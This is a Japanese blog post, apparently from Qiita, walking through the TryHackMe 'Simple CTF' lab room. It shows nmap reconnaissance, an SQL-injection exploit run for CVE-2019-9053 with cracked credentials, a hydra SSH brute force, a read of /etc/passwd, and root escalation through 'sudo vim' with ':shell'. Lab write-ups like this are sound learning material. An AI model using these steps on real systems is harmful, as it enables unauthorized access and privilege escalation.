LoginSignup
2
0

概要

すごいねCTFってWrite-upって文化があるんだ。覚書程度にTryHackMeのSimpleCTFというroomの攻略方法を書いてく

How many services are running under port 1000?

nmap -v xxx.xxx.xxx

Host is up (0.26s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2222/tcp open  EtherNetIP-1

でこういう結果が出てくるので答えは2

What is running on the higher port?

nmapには以下のオプションがある

 -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)

 -A:  Enable OS detection, version detection, script scanning, and traceroute
nmap -sV -A xxx.xxx.xxx.xxx


PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.17.111.155
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

nmap一つでこんなに情報出るのか

というので2222にはsshが入ってました

What's the CVE you're using against the application?

FTPが開いているので匿名でログインするとpub/ForMitch.txtというテキストファイルが存在したので中身を確認すると

Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

OpenSSH_7.2p2にUser enumerationの脆弱性があったのでここあたりのツールを使って確認したところ

User name enumeration against SSH daemons affected by CVE-2016-6210
Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari


[*] Testing SSHD at: 10.10.163.11:2222, Banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
[*] Getting baseline timing for authenticating non-existing users............
[*] Baseline mean for host 10.10.163.11 is 0.006475330000000013 seconds.
[*] Baseline variation for host 10.10.163.11 is 0.0001233320481464502 seconds.
[*] Defining timing of x < 0.006845326144439363 as non-existing user.
[*] Testing your users...
[-] mitch - timing: 0.006309500000000079
[-] root - timing: 0.006487899999999991

との結果が、rootがないとは思わないので脆弱性該当しないっぽいなーって気がする
ただこれでなんの脆弱性を利用するのかわからなくなった.

正答

gobusterと呼ばれるpathを見つけるツールを使うとsimpleというパスが隠されていることがわかる。
その中身を見るとSimple CMS version 2.8というCMSを使っていることがわかる。
こいつのバグでSQL Injectionがあるらしい。そのため答えはCVE-2019-9053

実行コマンドは

python3 cmsmade.py -u http://10.10.94.42/simple --crack -w password

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

exploit dbはpython2で書かれていたのでpython3に書き直した。めんどい
またhintで

You can use /usr/share/seclists/Passwords/Common-Credentials/best110.txt to crack the pass

みたいなヒントがあるんだけど、どこだよこのファイルみたいになってしまった。
そのためpasswordlistは下に紹介したopenwallの一般パスワードリストを利用した

To what kind of vulnerability is the application vulnerable?

上のがわからなかったため結局これもどういう種類の脆弱性かわからないまま。

正答

SQL Injectionなのだがなんか4文字指定になってた。sqliらしい。なんで

What's the password? and What's the user flag?

上の二つが解けたら多分mitchのパスワードがわかるんだろうなと思いつつ、ftpに愚痴が書いてあった通り、普通に辞書攻撃で行けるんじゃね?となり

openwallからパスワードリストをとってきて、hydraで総当たりする

wget https://download.openwall.net/pub/wordlists/passwords/password.gz
unzip password.gz
hydra -L user.txt -P passwd.txt -s 2222 xxxx ssh

だとmitchのパスワードがsecretだということがわかるので

ssh -p 2222 mitch@10.10.94.42

でログイン可能

user.txt内にflagが見つかる

Where can you login with the details obtained?

これ英語がよくわかってないのだけどどこで詳細情報を使ってログインした
って話なのでsshっぽい?いまいち理解できてない

Is there any other user in the home directory? What's its name?

cat /etc/passwd | grep /home

を実行するとmitch君以外のユーザーがわかる。sunbath君

What can you leverage to spawn a privileged shell?

ここからマジでわからなかった

sudo -h
...

-l, --list                    list user's privileges or check a specific
                                command; use twice for longer format

知らんかったこんなのあるんやね。
ってやるとvimだけ登録されていることがわかる。

これ本当に知らなかったんだけど

sudo vim

でvimの画面に遷移した後:shellって打つと普通にroot権限とれるっぽくて怖い。
教えはどうなってんだ教えは!

これからやって/rootディレクトリに移るとflagが見える。

総評

面白いんだけど、はまるとなんぼでも時間が溶けちゃう。
Write-upがなかったらわからん問題結構あった。
なので自分もそれに貢献できるようドキュメントとしてまとめた。

参考資料

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0